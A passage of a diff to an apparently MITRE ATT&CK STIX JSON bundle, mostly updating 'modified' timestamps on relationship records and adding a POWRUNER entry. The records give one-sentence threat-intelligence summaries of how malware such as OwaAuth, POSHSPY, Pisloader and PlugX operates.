             "id": "relationship--37ad61e7-6520-47d0-81ae-f3d129b49ac1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OnionDuke steals credentials from its victims.",
             "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
@@ -45606,7 +54411,7 @@
             "id": "relationship--0dee5507-6e61-4244-86a8-c7e8a34469da",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth is a Web shell that appears to be exclusively used by Threat Group-3390.China Chopper Web shell.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
@@ -45627,7 +54432,7 @@
             "id": "relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth uses the filename owaauth.dll, which is a legitimate file that normally resides in <code>%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\</code>; the malicious file by the same name is saved in <code>%ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\</code>.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
@@ -45648,7 +54453,7 @@
             "id": "relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth captures and DES-encrypts credentials before writing the username and password to a log file, <code>C:\\log.txt</code>.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
@@ -45669,7 +54474,7 @@
             "id": "relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
@@ -45690,7 +54495,7 @@
             "id": "relationship--37804b22-63b4-4b24-846e-6541688d9213",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth has a command to timestop a file or directory.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
@@ -45711,7 +54516,7 @@
             "id": "relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth has a command to list its directory and logical drives.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
@@ -45732,7 +54537,7 @@
             "id": "relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth has been loaded onto Exchange servers and disguised as an ISAPI filter (DLL file). The IIS w3wp.exe process then loads the malicious DLL.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
@@ -45753,7 +54558,7 @@
             "id": "relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
@@ -45774,7 +54579,7 @@
             "id": "relationship--04ba0d26-d931-423e-a3de-713892c0af97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "P2P ZeuS added junk data to outgoing UDP packets to peer implants.",
             "source_ref": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85",
@@ -45795,7 +54600,7 @@
             "id": "relationship--fce7fac2-91da-4903-95dc-fb54650c0859",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PHOREAL communicates via ICMP for C2.",
             "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
@@ -45816,7 +54621,7 @@
             "id": "relationship--ecb5e830-b678-47a6-98a2-d4dbe162f09e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PHOREAL is capable of creating reverse shell.",
             "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
@@ -45837,7 +54642,7 @@
             "id": "relationship--202b96f6-0f7c-4aed-8004-780f1d880059",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PHOREAL is capable of manipulating the Registry.",
             "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
@@ -45858,7 +54663,7 @@
             "id": "relationship--f758836e-91b2-4651-ba72-d827553b668c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY uses a WMI event subscription to establish persistence.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
@@ -45879,7 +54684,7 @@
             "id": "relationship--8d5d9206-a213-465d-b384-6152eb2796a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY uses PowerShell to execute various commands, one to execute its payload.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
@@ -45900,7 +54705,7 @@
             "id": "relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY downloads and executes additional PowerShell code and Windows binaries.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
@@ -45921,7 +54726,7 @@
             "id": "relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
@@ -45942,7 +54747,7 @@
             "id": "relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY encrypts C2 traffic with AES and RSA.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
@@ -45963,7 +54768,7 @@
             "id": "relationship--3e497bf1-4fdc-40a2-b8a2-3492c1d605e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY uploads data in 2048-byte chunks.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
@@ -45984,7 +54789,7 @@
             "id": "relationship--70edcba2-e777-4ced-a52d-5dfc3965211c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
@@ -46005,7 +54810,7 @@
             "id": "relationship--89424d69-a426-4f76-9e7f-7b2dabe459be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE is a PowerShell backdoor.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
@@ -46031,7 +54836,7 @@
             "id": "relationship--c560f682-0d21-4c9b-b35d-33aec2287117",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE uses DNS TXT records for C2.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
@@ -46057,7 +54862,7 @@
             "id": "relationship--d04d6101-f6f6-42a2-8679-351956b75228",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE has been observed being used to download TEXTMATE and the Cobalt Strike Beacon payload onto victims.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
@@ -46078,7 +54883,7 @@
             "id": "relationship--9c79076c-341f-4eb3-bed7-300723747b18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE queries Registry keys in preparation for setting Run keys to achieve persistence.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
@@ -46099,7 +54904,7 @@
             "id": "relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POWERSOURCE achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
@@ -46120,7 +54925,7 @@
             "id": "relationship--3a66ff23-3dcc-45b9-821a-8d6527b6e242",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If the victim is using PowerShell 3.0 or later, POWERSOURCE writes its decoded payload to an Alternate Data Stream (ADS) named kernel32.dll that is saved in <code>%PROGRAMDATA%\\Windows\\</code>.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
@@ -46136,12 +54941,395 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--b4c7e12f-6921-4007-ab15-595969bf9eca",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER is written in PowerShell.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
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+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
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+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
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             "type": "relationship",
             "id": "relationship--1dc42b4c-4a93-4fc6-bad3-b5498ad500b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pass-The-Hash Toolkit can perform pass the hash.",
             "source_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69",
@@ -46162,7 +55350,7 @@
             "id": "relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke gathers system configuration information.",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
@@ -46183,7 +55371,7 @@
             "id": "relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated with The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, Internet Explorer, Microsoft Outlook, WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
@@ -46204,7 +55392,7 @@
             "id": "relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke transfers files from the compromised host via HTTP or HTTPS to a C2 server.",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
@@ -46225,7 +55413,7 @@
             "id": "relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke searches for files created within a certain timeframe and whose file extension matches a predefined list.",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
@@ -46246,7 +55434,7 @@
             "id": "relationship--d77a4123-3d46-4317-8921-f6eb8c34c585",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke collects user files from the compromised host based on predefined file extensions.",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
@@ -46267,7 +55455,7 @@
             "id": "relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ping can be used to identify remote systems within a network.",
             "source_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
@@ -46288,7 +55476,7 @@
             "id": "relationship--02a629d3-b970-43e8-a11b-79f35107a4c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader establishes persistence via a Registry Run key.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -46309,7 +55497,7 @@
             "id": "relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader obfuscates files by splitting strings into smaller sub-strings and including \"garbage\" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -46330,7 +55518,7 @@
             "id": "relationship--0c56b369-b665-4001-87ff-d27ae135cc64",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -46351,7 +55539,7 @@
             "id": "relationship--59d4e54d-66b8-4603-b189-ba67160da44d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader uses DNS as its C2 protocol.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -46372,7 +55560,7 @@
             "id": "relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Responses from the Pisloader C2 server are base32-encoded.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -46393,7 +55581,7 @@
             "id": "relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader has a command to collect victim system information, including the system name and OS version.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -46414,7 +55602,7 @@
             "id": "relationship--548e7315-5055-4434-96c1-1429779b0e2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader has a command to collect the victim's IP address.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -46435,7 +55623,7 @@
             "id": "relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader has commands to list drives on the victim machine and to list file information for a given directory.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -46456,7 +55644,7 @@
             "id": "relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader has a command to upload a file to the victim machine.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
@@ -46477,7 +55665,7 @@
             "id": "relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX has used to use DLL side-loading to evade anti-virus and to maintain persistence on a victim.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46518,7 +55706,7 @@
             "id": "relationship--deafd60c-af1a-40eb-bc43-287b37553fae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can use the Windows API function CreateProcess to execute another process.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46539,7 +55727,7 @@
             "id": "relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX allows actors to spawn a reverse shell on a victim.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46560,7 +55748,7 @@
             "id": "relationship--2c48f039-61f7-4af4-974b-f0e0fcf95f58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can be configured to use multiple network protocols to avoid network-based detection.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46581,7 +55769,7 @@
             "id": "relationship--6bf4098c-7667-44df-bdaa-076b9099f851",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can be configured to use HTTP or DNS for command and control.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46602,7 +55790,7 @@
             "id": "relationship--2eaea386-ee0f-42c4-bca1-ce2d22062f98",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can be configured to use raw TCP or UDP for command and control.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46623,7 +55811,7 @@
             "id": "relationship--a29d9514-3284-4ac2-a93a-e17750519534",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can add a Run key entry in the Registry to establish persistence.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46649,7 +55837,7 @@
             "id": "relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can query for information contained within the Windows Registry.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46670,7 +55858,7 @@
             "id": "relationship--ce42140b-f801-40da-8185-105a9b1a915a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can be added as a service to establish persistence.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46701,7 +55889,7 @@
             "id": "relationship--c35702f8-f13f-4851-9cfc-1eea526bd6e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX has beaconed to its C2 over port 443.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46722,7 +55910,7 @@
             "id": "relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "In one instance, menuPass added PlugX as a service with a display name of \"Corel Writing Tools Utility.\"",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46743,7 +55931,7 @@
             "id": "relationship--3d97f57c-2a7c-4626-8b05-9d345047d3ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX uses Pastebin to store its real C2 addresses.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
@@ -46764,7 +55952,7 @@
             "id": "relationship--14b393f2-6d67-4d4f-8f88-75c8b421c4e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
